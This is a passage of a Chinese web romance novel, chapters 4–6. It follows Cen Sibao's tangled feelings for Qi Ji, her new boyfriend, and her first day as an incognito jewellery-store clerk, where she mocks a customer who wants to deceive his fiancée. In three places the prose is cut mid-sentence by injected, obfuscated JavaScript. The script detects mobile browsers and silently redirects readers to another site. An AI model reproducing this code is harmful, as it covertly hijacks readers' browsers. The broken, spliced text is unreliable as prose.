没过多久,对方不紧不慢回:是吗,那可能是发错了,抱歉,打扰了。我还是去找宿管问一问,能不能联系到岑似宝这位同学好了。 岑似宝一咬牙,在张曼的挤眉弄眼中跑下了楼。 树下,手机屏幕的反光映亮了祁迹冷峻的脸,淡漠理智。 抬眼看到远处发射过来的小炮.弹,他眼中才闪过笑意,“看来没有发错人。” “你好啊,祁总,找我有什么事吗?”炮.弹冲到跟前,语气生硬。 他看着岑似宝还穿着晚间那条裙子,皱了皱眉:“不冷?” 岑似宝立刻伸手拒绝:“别想把外套给我披,男女授受不亲,我是有男朋友的人。” 祁迹敛起笑,收回了手,将手中的袋子交给了她。 岑似宝低头一看,里面是几只半透明的保温盒,logo是刚才的那家餐厅。 她觉得味道不错,有几道菜吃得最多,恰好,全都在这里。 岑似宝愣了一下。 除此之外,还有两杯热饮,糖度也是她最喜欢的。 “还有你室友的份。” 岑似宝眉毛一挑,想揶揄他,原来刚才假装不看她,实则全程都在关注她,但好在智商在线,忍住了。 想起刚才张曼说起加班太晚,没来得及吃饭,她还是将袋子接了过来。 “谢谢。”她故意说:“我知道,肯定是岑衡出差之前,托你照顾我了。” 祁迹却没有去管她的刻意扭曲,深黑眸子直直地望着她,仿佛一路望至她心底。 “什么时候交的男朋友?”他突然开口。 岑似宝眨了下眼,但很快意识到,他并不是自己的谁,她也根本没必要心虚。 于是她理直气壮说:“跨年夜之后。” 沉默几秒后,对面传来了一声意味不明的轻笑。 温热的,带着薄茧的手指抬起了她的脸,“所以,刚跟我表完白,就跟别人在一起了?” 4. 第 4 章 出了趟差急急归来,却突然听到岑似宝谈恋爱的消息,祁迹不是不生气的。 岑似宝刚才眼神躲闪,他伸出手,原本也只是想让她抬起头,只看着自己。 但手指摩挲着她腮边,柔软的触感让他忘记了本意,指尖拨开发丝,逐渐向上,碰到了她的耳垂。 那里被风吹得冰冷,他直接覆盖住。 向往温暖,是深刻在人类基因中的,所以岑似宝下意识蹭了蹭。 祁迹看她小猫一样的神态,心中一化,来前的气也消了大半,只是沉声说:“明天跟他提分……” 手字还没说出口,身侧,一阵迟疑的声音响起:“岑似宝?宝贝,是你吗?” 丁耀光踩过雪而来,就看到不远处,一个男人正单手捧着一个女孩的脸。 那只手很大,几乎将她整张脸都捧在掌间。 他本来只投去了一眼,有些羡慕,别人家的男朋友和女朋友怎么这么亲密。 谁知扫了眼那侧脸——越看越像是自己的女朋友。 听到这有点陌生,又有点熟悉的声音,岑似宝的目光骤然清醒了,别开脸,退后了一步。 祁迹的视线移到丁耀光身上,其中冷意让他一惊。 但也很快意识到,这种冷意是来自于对方对岑似宝的觊觎。 岑似宝的追求者很多,他是知道的。 不过他向来对自己很有信心,也自豪自己成为了这群人中的胜利者,所以每每见到她的爱慕者,反而斗志昂扬。 此刻,他也暗自与对面的男人比较了一番。 乍一看,虽然自己没有他高,但是长相…… 是比他差了那么一点。不过经济实力…… 从衣着看或许也没有他有钱。可是至少气势上…… 好像也不如他足…… 但是,他应该比这个男人更年轻。 他年轻,所以他有更多的时间,而俗话说得好,时间就是金钱,所以这一点也可弥补他经济实力的不足。 这么看来,二人整体实力不分上下。 想到这里,丁耀光抬头挺胸,走上前,气沉丹田道:“你好,我叫丁耀光,是岑似宝的男朋友。” 祁迹只在丁耀光刚走来的时候看了一眼,随即目光便只放在岑似宝身上,并没有理会他暗藏的宣誓主权。 岑似宝看了看身前气定神闲的祁迹,又看了眼尴尬,但也装作气定神闲的丁耀光,头有点疼了。 她开始不耐烦了,甚至有点想一人踹一脚。 关键时刻,张曼近乎从天而降,让两人免于被踹的命运,“小岑,怎么还不上楼啊,我都等你好久了,刚才不是说要帮我找口红的吗?” 说完,好像才看见她身边的人似的,张曼惊讶道:“咦,还有别人?你们在忙啊?” “额,要是没有什么太要紧的事的话,小岑还是跟我上去吧?帮我找口红比较重要。” 祁迹颔首,“上去吧。” 丁耀光慢了一步,但还是要重复一遍:“宝贝,上去吧。” 听到前面两个字,祁迹瞥了他一眼。 直到岑似宝与张曼回到了宿舍,祁迹才动身离开。 丁耀光眼珠子一转,悄悄跟在了他身后,不死心地看了眼他开的车,在看清车标后暗自咬牙。 这时,反应过来的岑似宝给他发来了消息,问他过来找她干什么。 丁耀光坐在电瓶车上,直接打了个电话过去,“没事儿,就是想你了。” “本来想跟你去约会的,后来你不是跟你哥出去吃饭了吗?我想了想,还是过来看看你。” “虽然我租房的地方很远,又下着雪,而且我没舍得打车,骑车骑了很久,冻得不行,但是见到你,我心里就暖了。” 岑似宝只听到最后一句,“暖了?那就好。” 丁耀光:“……” 他本来是想着让岑似宝体贴他几句,好体现出他与那个男人的不同的。 毕竟那人开了辆好车,风吹不着,雪打不着的,哪有他诚心。 说到这个,“对了,刚才那个人,是谁啊?为什么要捧着你的脸?”他故作轻松问道。 岑似宝停了两秒,“他是我的一个……” 无数答案在她口中徘徊,最后选择了:“牙医。” 丁耀光茫然:“啊?一个牙医?你有很多牙医吗?” 她继续编:“那倒不是,就这一个。其实他是我哥哥的朋友,受我哥所托过来看看我,顺便,给我看看牙。” “可是我看你的牙齿不是挺整齐的吗?也不像有蛀牙啊。” “而且看牙是很花钱的吧?”丁耀光的注意力完全被这一点吸引了,拧起了眉心,“我记得,这方面医保好像是不给报销的。” 虽然他觉得以岑似宝的家境,二人不是百分百能修成正果,但是只要有一点可能,他也得修正一下她的观念,为了他们的以后好好攒钱。 毕竟岑似宝是没有老人负担,但他可是有双亲,还有爷爷奶奶姥姥姥爷要养的。 于是话中便带了几分责难:“我是觉得啊,这牙要是偶尔有点疼,或者有点敏感,那都不是什么大问题,忍一忍就过去了,你最好还是不要去看什么牙医。” “我跟你说啊,那些医生很坏的,他们要赚钱,所以就算你牙齿没事,都能给你说成有事,想方设法要你拔牙啦,做根管啦,补牙啦,坑你的钱。” 话中很难不夹带对那个与他不相上下的、身份为所谓牙医的男人的愤恨。 说完,对面沉默了一阵,丁耀光隐约听到她好像说了句什么,哆啦A梦很对的话,不解地问:“什么?” 岑似宝轻咳一声:“没什么。我没花什么钱,而且就算要花钱,我自己的生活费也完全足以覆盖。” 她加重了自己两个字,是想提醒他,不要对她的钱有太多占有欲。 丁耀光不赞同地诶了一声:“你哥现在那样的情况,你就更应该节省生活费了啊。” 岑似宝陷入困惑之中:“我?节省?” 她虽然理解丁耀光的节俭,也很欣赏他自力更生,但是他总想拉着她一起节俭,岑似宝有点不高兴了。 丁耀光说完也意识到,他今晚谈钱有点太多,或许有些败坏形象。 哪怕对她的家境不甚满意,但他还是很喜欢岑似宝本人的,于是换了个话题:“不提这个了,宝贝,我老板给我放了两天假,咱们明天出去玩吧?” 岑似宝看着张曼将保温良好的饭盒摆在桌子上,无声招呼她过去吃,手指拨弄了一下裙边,“再说吧,我可能有事。” “什么事啊?” “工作。” 丁耀光愣了一下,随后有些高兴,“你能想到去工作、去赚钱,减轻家里的压力,我真的很欣慰。当然,要是再节省一点,就更好了,开源节流嘛。” 岑似宝又是一阵无言。 要是她赚的那点钱就可以减轻家里的压力,那她家离破产也不远了。 她接受丁耀光,是因为他锲而不舍,显得很喜欢她,而且人看起来也不错。当然,也有一时兴起和赌气的成分,以及说不清道不明的,想要看看祁迹的反应。 现在看来,好事是,他从来不花她的钱。 坏事是,他也不让她花她的钱。 这就让她百思不得其解了。 或许她该重新考虑一下,这段才刚刚开始的恋情了。 挂断电话,岑似宝将头发扎了起来,接过张曼递过来的筷子。 “刚才楼下找你,给你送吃的那个人,就是那个谁吧?”张曼努了努嘴,指着楼下,意指祁迹。 “嗯。” “那继续说,你怎么知道那个谁,不够喜欢你?” 岑似宝说起来还觉得气,筷子啪嗒一声敲在了盒子边缘,冷笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016301|194191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声:“那时候我表完白,他居然说,我的喜欢一向是三分钟热度。” “哈!你说,我是这种人吗?”她看向张曼。 张曼则看向底下被她当作外卖桌布的海报。 没记错的话,上面的男明星,她应该刚好喜欢了三天。 她张了张口:“啊,我觉得,你,应该不是吧。” “对的呀!我这么专一!他怎么可以这么说我啊,说他要的不是热度会很快褪去的、不确定的喜欢。” “他还说,只给我几天的时间反悔,等他出差回来,就再也没有反悔的机会了。” “哈!还给我几天时间考虑?你说,这是不是很过分?”她又看向张曼。 张曼挠了挠额头。 当你义愤填膺听完姐妹的控诉,发现其实她的问题更大,应该怎么说? “我觉得,他那样,确实是有点过分了。” “是吧?我最气的就是这一点,他要是真的足够喜欢我,那听到我跟他表白,就应该立刻感恩戴德地答应,然后抱住我,亲到天荒地老飞沙走石天昏地暗沧海桑田恨不得立刻步入洞房啊。” 张曼脸上通红,轻咳两声:“你,你少说点虎狼之词。” “总之就是这样了,他根本就没那么喜欢我,只是我喜欢他而已。他不是想让我反悔吗,那我就反悔给他看。”岑似宝信誓旦旦。 张曼努力说服自己,跟上她的思路:“对,给他看。” “还有啊,我后来才知道,我租无人机的那家公司,算法就是祁迹的公司提供的,他们关系密切得很,说不定他早就知道我在准备表白仪式了,我那时问他惊不惊喜,他还骗我说惊喜。” 张曼扶住额头:“哈哈。” “那他现在知道你跟丁耀光在一起了吧?” “知道了。”岑似宝声音低了八度。 张曼提醒:“知道了之后立刻大晚上来找你,不会是醒悟了,回头了,打算为爱做那什么吧?” “不可能,他是那种很理智的人。”岑似宝直接反驳,“据我了解,他不会做那种不道德的事。” 张曼心说,她刚才在楼上,看他霸道捧着岑似宝脸的动作,可瞧不出一点理智和道德感。 岑似宝嘀咕,“而且我才不觉得他会为我做到那种地步。” 张曼无法昧着良心继续讨伐祁迹了,转而说起:“对了,我刚才听你电话里说,要去工作了?回家继承家业?” 她是知道的,岑家主营珠宝,黄金铂金,钻石翡翠……门店开遍全国。 现在的掌门人是岑似宝的奶奶,在几个孙辈里最疼她,早在她出生的时候就说过,以后会将家业交接给这个唯一的孙女。 岑家人也都很支持,岑衡和岑量则分别深耕珠宝产业的上下游,为她将来铺路。 岑似宝说累了,托着腮,喝了口汤,“我想先去直营门店看看,回来的路上已经跟我哥说好了。” 宿舍外的停车场,理智的祁迹仍没有离开。 他理智地坐在车里,理智地拨出了薄乐的电话。 过了好一阵,薄乐才接起电话。 祁迹开门见山:“找个人,有可能是你画廊里的员工。” 丁耀光的脸在他脑中闪过,第一眼就觉得有些眼熟,似乎下午在画廊里见过。 不过当时这个人正忙着接待另外几个重要客人,后来又去了楼上,应该没有仔细看他。 薄乐是刚睡下被叫醒的,打了个哈欠。 听出祁迹话语中的冷意,虽然被打扰了,但还是好脾气道:“行啊祁总,你要找谁啊,叫什么名字?” 祁迹沉默了一下,“叫丁……”他捏了捏眉心。 那时怒意上涌,他没有仔细听,也不想听。 但他记得,那是一个让他听了就厌恶的名字,也是一个很符合那人气质的名字—— “耀祖,丁耀祖。” 5. 第 5 章 薄乐嗯了一声,随后清醒了一些:“等会儿?” 他的员工里,有叫耀祖这么难听的名字的吗? 丁耀祖。 他默念了两句,立时想起了丁耀光。 “我记得,应该是没有叫丁耀祖的,倒是有个叫丁耀光的,是他吗?他惹着你了?” 薄乐细细回忆着今天在画廊里的情形,这两个人应该没有直接接触才是。 祁迹睁开眼,“是他。” 想到岑似宝晚上去画廊就是为了找他,还特意打扮了一番。 为了他说谎,八成也是维护他,担心他的工作被岑量搅黄,祁迹心头就升起一股无名火。 他半点不想说出丁耀光在跟岑似宝谈恋爱这句话,只是问:“他人怎么样?” 薄乐彻底清醒过来了,按下好奇,说道:“这人刚毕业没多久,要说工作能力的话,还可以吧。我在好几个行业跳,他都跟着,学历也不错。” “人品呢?”祁迹问。 薄乐朝后一靠,想起白天在洗手间跟他的谈话,嘴角一撇,“就那样吧。今天还跟我说,谈了个家境不好的女朋友,听起来,有点嫌弃。” 祁迹微微蹙眉:“家境不好?” “是啊,让我想想——说是人家父母双亡,跟一个哥哥相依为命,丁耀光觉得日后成家,对方对他的助力不够。” 祁迹的眉头皱得紧了,“父母双亡?” 薄乐轻嗤一声,以为他也是跟自己一样,对丁耀光的话嗤之以鼻,“是啊,而且听他说,女朋友很乖巧懂事,长得也漂亮。要我说,那个女孩到底看不看得上他,愿不愿意跟他结婚还是两说呢。” “乖巧懂事?”祁迹的思维停滞更久了。 薄乐翘起二郎腿:“所以,他到底怎么你了?” 祁迹徐徐出声:“我现在觉得,他可能不是我要找的人。” 他的人生中,头一回有如此困惑:“这个人,有没有个叫丁耀祖的双胞胎兄弟?” 薄乐也跟着困惑了:“是吗?那我回头帮你问问。” 他本还想追问祁迹到底找人要干什么,祁迹已经挂掉了电话。 “??挂我电话?你是在模仿岑家小妹吗?” 隔天早上,岑似宝难得早起,迷迷糊糊下床洗漱,有点后悔自己想不开去工作了。 其实已经没那么早,张曼已经出门很久了,只是她散漫惯了,靠着五个闹钟,才把自己闹醒。 踩着点出门,她来到了昨天跟岑量敲定好的门店。 在整个大区里,这家门店销售额逐年下滑得厉害,很显眼。 店面位置其实不差,位于市中心CBD一隅,当然,周遭的竞争也很大。 不过这家店面,对她来说是特别的。 它开在她小时候百日抓周之际。 当时,奶奶给了她很多标有地址的签子,最后,她从那数十个选址中抓中了这里。 也是因为这种渊源,她才选择了这里。 她没急着过去,先去附近买了杯咖啡。 正排着队,余光里看到了一个有点眼熟的男人。 多看了两眼,她靠着那副黑框眼镜记起来了,好像是祁迹的助理。 跨年夜的时候她还见过一面,记得应该是姓余,是个看起来很木讷的人,说话也一板一眼。 如此无趣,太适合做祁迹的助理了。 差点忘了,祁迹的公司也在这附近。 岑似宝下意识拿包挡住了脸,然而她这一动作,反倒让她在队伍中更加显眼了。 她自己也认识到了这一点,若无其事地放下了包,目视前方。 余助理望了两眼那道僵直站着的纤细身影,拿出手机,打开了与祁迹的聊天界面。 然后面无表情发送: “祁总!猜猜我遇见谁啦!!” 岑似宝取到自己的咖啡就立刻出了门,余光关注着那位余助理的位置,他还在排队。 直到走出了老远,她才长出一口气。 刚来到裕丰珠宝店门口,她就见到了正看着时间的女人。 “你好,你是店长吧?”岑似宝走上前,“我是新员工,你叫我小岑就好。” 她的脸对于裕丰的员工来说并不熟悉,只是换了个化名。 店长:“大学生实习?” 岑似宝点了点头。 店长领着她进门,满心狐疑:“你到底是谁面试过来的?裕丰珠宝的直营店一向不收兼职的寒暑假工和实习生的。” “哦,其实是因为我这个人啊,特别会说话,被破格录取的。”岑似宝脸不红心不跳地说。 店长若有所思点了点头,“家境怎么样?” “这个也要问吗?”她想了想,“还算可以吧。” 店长扫了她一眼,意外地没有在她身上看见任何装饰品,连耳洞都没打。 但是看那葱白的手指,关节处没有一点色素沉淀,瞧得出平时精心保养,十指不沾阳春水。 横竖她只是暂顶一个离职的柜姐的空,“你先去换上制服,一会儿让周姐带带你。” 岑似宝挑剔的目光扫了眼制服。 裕丰珠宝冬季的制服是裤装,西装版型,面料很好,显得干脆利落,倒是不难看。她还算满意。 又打量了眼店面,所有直营店都是统一装潢,不久前才翻新过,也没什么问题。 店长走到柜台里头,跟周姐交待了几句。 过了一会儿,岑似宝换好衣服走了出来。 周姐下意识朝对面纤秾有致的身形望去,制服合体的剪裁突出了她身体的所有优点。 头发盘起,头肩比极佳,腿更是长,同样尺码的裤子,一般人穿恐怕要拖地了,她却刚刚好,笔直的裤管垂到脚面之上。 更不用说那张能让人眼前一亮的脸蛋。 周姐啧啧了两声,“长得倒是很板正,不过越是漂亮,就越怕是花架子,业务能力不行。” 店长的想法也差不多,但没有说出来,“总之你多教教了,先撑过这阵。” 周姐不是很抱希望,“能发配到我们这儿来的,恐怕也不会是什么好苗子啦。” 店长交待完,就去了后头盘账。 柜台剩下周姐与岑似宝,两人讲了讲工作要领。 周姐虽然不是很积极,跟岑似宝说话的语气也不怎么热络,不过说得很详细,担心她记不住,放慢了语速。 “每个陈列区你都熟悉一遍,钻石的4C,翡翠的种水,黄金的工艺……这些讲法你都要记住。” “最重要的是,手不离货,货不离柜。拿取也要有规范,要用托盘,不可以直接碰到钻石翡翠这类容易留下指纹的表面。” 她本来做好了多讲多示范的准备,但很快便发现,岑似宝只听一遍就记得,甚至很多不用她讲也知道,对工具的使用更是信手拈来。 她有些诧异:“你有经验?” 岑似宝笑了笑,“有一点吧。” 周姐对她有些改观了。 “反正啊,来看看的顾客有,但是真正下单的不多,你就记得,要有耐心,对不买的顾客也得耐心。” “我知道。” “你还挺机灵的,只要不说错话,顺着顾客来,应该就不会有什么问题。” 岑似宝:“放心吧,我这个人,出了名的会说话。” 周姐放下心来。 店铺本身就经营不善,加之是工作日,更是没什么客人。 但即使没有客人,她们也不可以坐下,依然要站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016302|194191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在柜台内。 岑似宝还是第一次站这么久,小腿很快开始泛酸。 直到临近中午的时候,门口出现了一对情侣。 那两人在门口环视了一圈,走了进来。 “欢迎光临裕丰珠宝。” 周姐走上前,给了岑似宝一个眼神,让她学习,面上露出微笑:“您好,请问想要看看什么类型的首饰呢?” 女人温柔说道:“我们想看一看,结婚用的三金首饰。” 周姐耐心地询问了一下她的喜好,给她推荐了几款不同价位的,察言观色介绍着。 她身旁的未婚夫并不怎么插嘴,只是满含爱意地看着她,“老婆,随便挑,可别给我省钱啊。” 随后他便两手插兜,在店里晃悠起来。 走着走着,就慢慢走到了岑似宝的面前,斜靠着柜台。 岑似宝正听着周姐的话,疑问地看向他。 “哎。”他突然压低了声音,“你们这儿有金包银的款式吗?” 岑似宝几不可见地愣了一下,但还是捧起了十足的耐心,笑着说:“当然有的,正好现在有几款在打折,我可以拿给您二位看一下。” “不是。”男人回头看了眼未婚妻,确定她还在看款式,没注意到这边。 他小声道:“是这样的,我想先跟你说好,待会儿,你给我拿些金包银的款式,但是不要说出来。” 想到他刚才说的不要给我省钱几个字,岑似宝白皙的面皮微动。 随后微妙地长啊了一声:“先生,您的意思是,让我给您提供一些金包银的首饰,但是要骗住您的未婚妻,让她以为是纯金的?” “你小点声,没错,我是这个意思,但不是骗,是瞒。尤其记住,价钱也要瞒着她,发.票你直接给我就行。” 男人抬头看了眼垂眸微笑的岑似宝,“你是拿提成的吧?你们店生意那么差,能卖出去都算开单了,你好好给我演,演得好,钻戒我也在你这儿买。” 岑似宝眼睫抬起,小声说:“是吗?那钻戒,要不要我也给您找几款莫桑石的,再跟您未婚妻说是真钻石?” 男人眼睛一亮:“这也行吗?那再好不过了啊,反正只要够闪,还不都是一样。” 岑似宝的笑容在璀璨灯光下摇曳:“那不行的,先生。” “啧,你就不知道变通吗?这事儿就咱俩知道。” “不是啊,我是说,您这样,成本还是太高了啊。” “啊?”男人一愣,“还有更便宜的?” “是啊。”岑似宝认真点头,随后抬手,给他指了指对面的一家超市,“看见了吗?就那家超市。” “您要买钻戒呢,里头有卖钻石糖的,带戒圈。十个手指头戴满了,也不超过十块钱。那里头添加的阿斯巴甜啊,就跟您的爱一样甜。” “要买三金呢,您就去买几块金币巧克力,论斤称,五毛钱一个。您把外皮剥下来,揉吧揉吧,就跟金的一样。还相当于免费得了几块代可可脂巧克力呢,就跟您的爱一样浓得化不开。” “多好啊。”岑似宝欣然两手交握。 “……” 男人反应过来她的意思,脸色顿时一阵白一阵红,“不愿意就不愿意,你怎么还骂客人呢!” 他的声音没忍住大了起来,引起了其他人的注意。 “怎么了?”周姐暗叫不好,他的未婚妻也走了过来,狐疑地看着两人。 “你们这什么柜姐啊,骂人!” 周姐皱眉看向岑似宝。 岑似宝两手一摊:“我没有骂他啊,天可怜见,我一个脏字儿都没说。” 她看着周姐,满脸无辜:“跟您教我的一样,我全程又有耐心,又顺着他,讲的也全是好话,真的。我发誓。” 6. 第 6 章 几人看向男人。 男人两眼冒火:“她刚才一直说什么阿斯巴甜,代可可脂的,说跟我的爱一样,阴阳怪气的,这还不算骂我?” 他的未婚妻不明所以,也不满地看向了岑似宝,“小姐,你这是什么意思呀?” 周姐连忙上前打圆场:“抱歉,这中间可能是有误会,我们小岑今天刚来,还不熟悉业务。” “没有误会。”岑似宝笑了,看向女人:“什么意思?就是说,他的爱又廉价,又对你的身体有害呀。” “幸好你们还没有结婚,现在发现也不晚。” 女人不解,望向身旁男人寻找答案,男人自知理亏,立刻拽起她,朝门外走去。 “我不在你们这儿买了行了吧?难怪没人来,什么柜姐啊,不仅不专业,还辱骂顾客,等着吧,我一定要投诉你!” 岑似宝挥了挥手,扬起语调:“好啊,我等着~还有那位小姐,也欢迎您换个未婚夫再来哦。” 周姐着急地跺了跺脚,“你少说两句吧,刚才到底发生什么了?” 岑似宝三言两语说了一下前因后果。 周姐震撼地看着她,“小岑。” 岑似宝抬眼:“嗯?怎么了?” “你先前不是说,你是因为会说话,被破格录取的吗?” 结果第一笔生意就被她这张嘴给说跑了。 岑似宝面不改色:“对啊,难道我不会说话吗?” “……挺会的,挺会不带脏字骂人的。” “但是,你毕竟是骂走了一个客人啊,而且看他刚才的样子,这事儿应该不会轻易揭过去了。” 岑似宝目光动了动,似乎有些好奇:“那刚才那种情况下,如果是周姐,会昧着良心帮他撒谎吗?” 周姐正色起来,“我当然不会了,这不仅是道德问题,也是违反公司规定的。” 岑似宝笑了笑,“那就没事了。” 周姐皱起眉,苦口婆心:“怎么会没事呢,你还是太年轻,知道吗,性子太直,让人下不来台,不是什么好事的。” 她劝道:“他要是真的一个投诉甩过来,扣钱还是小事,你刚找的工作说不定就没了,咱们公司在这方面的管理很严的。” 岑似宝看了看她,“你们经常遇到这种情况?” “也不算经常,我们门店毕竟生意不好,客人也不多,但是难免会遇到这种奇葩。可是不管心里多不屑,你面上都得保持微笑,要委婉地拒绝客人的无理要求,不能惹恼了客人的,明白吗?” 岑似宝没有说话。 周姐叹了一声,只觉得这姑娘要完蛋了。 她犹豫了一下,还是没有立刻告诉店长。 店里又变得空荡荡起来。 岑似宝看着斜对面的另一家珠宝店,很明显,那里的客流量要比这里好很多。 周姐看她一直望着对面,了然:“是不是羡慕人家赚得多啊?我也奇怪,你条件这么好,怎么来了我们这里。” “这里不好吗?”岑似宝挑眉。 周姐摇摇头:“在你前头,刚走一个小刘。之前还有个柜哥,挺会说话的——不是你这种会说话哈,后来就跳槽到对面那家店了。” “我也就是年纪大了,想稳定点,家里负担也不重,所以才留在这儿混口饭吃的。” 岑似宝若有所思。 接下来直到中午,店内也没有其他客人来。 站了一上午,岑似宝低头看自己的脚后跟,又红又肿,小腿更是浮肿了一圈。 她原本还特意选了双跟没那么高的鞋的。 周姐也看到了,瞠目结舌:“小岑,你这也太娇了,才多久啊。” 她看着岑似宝咬着唇,懊恼地弯腰按了两下小腿,摇了摇头。 既不会讨好人,也不能忍着委屈,脾气更是不好。一看就是娇生惯养,不能吃苦的性子。 大概是因为,生活中总有人时刻为她兜底吧。 恐怕明天就不会再来了。 午间休息,岑似宝本来想问周姐要不要一起去吃饭,她只是客气地表示自己从家里带了饭,拒绝了。 岑似宝坐在角落里,愤愤地点着自己的小腿:“不争气!” 说完又莫名有点委屈,她扁了扁嘴,手机突然响了。 来电显示——岑衡。 岑似宝清了清嗓子,确定没有异样,才接起,喊了声:“哥哥?” 那头嗓音低磁:“岑似宝,我不给你打电话,你就不知道给我打电话了?” 岑衡即使出差,也依旧每天给她打个电话,只有昨天没有时间打。 岑似宝:“谁说的,我这不是估计你在忙吗。对了,你那边应该是夜里吧?怎么还不睡啊?” 她有些心疼,岑衡是个工作狂,很容易废寝忘食。 电话那头,岑衡肃着的脸微微柔和,“刚开完会,还不困。” 岑似宝听着,确定岑量没有将她谈恋爱的事告诉岑衡,松了口气。 “岑量跟我说,你去了裕丰的直营店?” “是啊。” “当店长?”他明知故问。 “不是。”岑似宝翘起嘴角,“当柜姐,我厉害吧?这里的老员工还夸我聪明会说话了。” 岑衡没有第一时间回话,叹了一声,才说:“站了一上午吧,累吗?还要继续做吗?” 岑似宝不服气:“我是那种出尔反尔,吃不了苦的人吗?” 岑衡故作诧异:“难道你不是?” 她气:“你怎么跟岑量说一样的话?” 听出那边语气的变化,岑衡不再逗她了,“腿怎么样?肿了?” 岑似宝轻松地说:“当然没有肿啦,没客人的时候,我就坐着呗,我多精明啊。” 岑衡不知有没有信,说道:“注意安全,要是遇到什么麻烦,就让岑量去解决。” “那是当然,他逃不开的。” “对了,我跟祁迹也说过,你有事也可以找他。”他顿了顿,“你还记得他吗?” 岑似宝踢了踢脚后跟:“记得,岑量没跟你说吗,我们昨天一起吃了饭,跟他的朋友们。” 岑衡敲了敲手指,脸色不太好看,“他那帮狐朋狗友,离他们远点。” “岑量说,你不让他那边给你送饭。” “嗯。” “我已经跟祁迹说好了,你去他公司的员工餐厅吃,我去过,应该会合你的口味。” 岑似宝一怔,想拒绝,那头却已经一锤定音,“正好,他也可以帮我照料你,你等会儿直接过去就行。” 他已经说起了别的话题:“还有,有空的时候多回去陪陪奶奶。” “知道的,周末就回去了。” 岑衡看了眼时间,“行了,你挂电话吧。然后去吃饭。” 家里人都知道她今天第一天上班,其后轮番给她打来了慰问电话。 岑似宝的心情好些了,握着手机,想了想,给张曼发了条消息。 没过多久,张曼到了。 她实习的公司也在附近,平时中午点外卖对付,岑似宝干脆让她一起过去。 张曼看看岑似宝,抱住了她:“我们小岑真是受苦了哦,这么累,起得还早。” 岑似宝蹭了蹭她,“其实也还好,休息一会儿就缓过来了。走吧。” 办公园区就在商场对面,她们没走多远就来到了两栋大楼前。 犀鸟科技的银色logo闪着低调的光。 张曼还犹豫了一下,岑似宝已经若无其事走了进去。 张曼眯起眼,见识了她的熟稔后就意识到,岑似宝好像不是第一次来,恐怕也不是第一次吃员工餐厅。 她揶揄:“说起来,怎么就叫上我了啊,是不是……担心撞上祁总?” 岑似宝斜睨她一眼,“你想太多了,哪有这么巧撞上,我只是不想你总点外卖而已。” 张曼又揽住她,手指捏住她的脸肉一通揉:“小岑对我怎么这么好啊,哎哟我才是你的真爱吧?” 祁迹遥遥看着两人笑闹着走进了员工餐厅。 他视线下移,投向了岑似宝的小腿。 与此同时,岑衡也给他发来了一条消息:“见到她了吗?她跟我说腿没肿,你帮我拍张她的照片。” 岑似宝和张曼刚坐下,在线上点了餐,旁边突然来了两个穿着工作装的人。 “打扰了两位,最近员工餐厅在升级菜品,请问可以帮我们做个问卷调查吗?问题不多,很快就可以完成,回头都会落到实处的。” “你们公司人文关怀这么足啊,”张曼不好意思道:“可是,我们其实不是你们这儿的员工。” “哦,没关系的,只要在这里用餐的,都可以填的。” 岑似宝想到日后要在这里常驻,已经大大方方扫了码。 问题是对已有的菜品有什么意见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016303|194191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,以及想要在餐厅里吃到什么菜系和菜品。 填完问卷,两个人走后,张曼看向岑似宝,嘴角抽了抽:“你刚才是不是填了个想吃鲜肉月饼?多奇怪啊。” 岑似宝满不在乎:“哪里奇怪了,上面不是说,要提供自己的真实感受?我累的时候就是想吃。” “这个时候,哪儿有卖的啊。” “联记就有。” “拜托,那超级远啊,鲜肉月饼还是得刚出炉的才好吃嘛。” 岑似宝得意地抬头,“是啊,所以他们要是真的可以引入餐厅,那以后我就不用跑得太远去吃了啊。” “你可真聪明。” 餐到了,张曼将手机横屏,抵在餐盘上。 “吃饭你还玩手机。”岑似宝指指她。 “只是看看综艺而已。” “什么综艺?” “已经火很久了,叫《精英实习生》,我最喜欢里面的沉晨。” 岑似宝摇了摇头,“我对娱乐圈和明星不感兴趣。” “不是明星啦,上这档综艺的都是大学生,跟我们年纪差不多,还挺有意思的。” 张曼看她兴致缺缺,提醒:“你肯定刷到过的,就是有一期,朝云集团的顾总,说刷他的卡买两块钱的面包,让九个助理分的那个节目,很出圈。” 岑似宝嫌弃地蹙起了眉,“我想起来了,听家里人说起过,可是怎么可能,是节目剧本吗?” 张曼回忆了一番,抬头:“不像演的。” 岑似宝朝她的屏幕看了眼,这家旗下的朝云科技,某种程度上说,跟祁迹还有点竞争关系。 想到这一点,她眉头舒展,“再抠门点好啦,最好让朝云的股价大跌。” 张曼:“可是大家还挺喜欢他的哎,说是发现了他不一样的一面。” 